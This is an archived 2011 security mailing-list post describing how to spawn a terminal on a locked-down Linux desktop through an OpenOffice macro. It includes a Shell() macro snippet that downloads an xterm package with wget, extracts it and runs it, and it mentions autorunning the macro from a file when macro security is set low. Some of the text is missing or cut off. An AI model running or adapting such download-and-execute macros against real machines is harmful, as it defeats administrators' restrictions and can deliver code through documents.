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Spawn a terminal using OpenOffice, just for funzies.
From: "Jason A. Donenfeld" <Jason () zx2c4 com>
Date: Tue, 15 Nov 2011 02:29:49 -0500
Some friends asked me some tips for how to make a locked down machine that
doesn't allow the user to execute anything from the GUI and doesn't have a
terminal emulator installed into starting a terminal, using an allowed
application, OpenOffice. The below is hardly a security vulnerability
(unless you count "if the GUI can't do it, then the user can't either!" a
real security attempt), but it is a method that could be helpful in making
different sorts of things this mailing list seems to like. So here ya go.
---------- Forwarded message ----------
From: Jason A. Donenfeld <Jason () zx2c4 com>
Subject: Spawn a terminal using OpenOffice, just for funzies.
Howdy Boys and Girls,
So you want to use OpenOffice.org to spawn a command line terminal on a
computer that has no X terminal emulator installed or an easy way to run
*Run the macro in a new document.
See method-1.ogv <http://data.zx2c4.com/openoffice-execute/method-1.ogv>
*Have the macro autorun from a preexisting file. Downside: requires low
macro security option.
See method-2.ogv <http://data.zx2c4.com/openoffice-execute/method-2.ogv>
Helpful macro snippet:
Shell("sh -c 'dir=`mktemp -d`; cd $dir; wget
ar x xterm_256-1ubuntu1_i386.deb; tar xzf data.tar.gz; cd /;
$dir/usr/bin/xterm & rm -rf $dir'", 1)
Have fun with this trick.
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- Spawn a terminal using OpenOffice, just for funzies. Jason A. Donenfeld (Nov 15)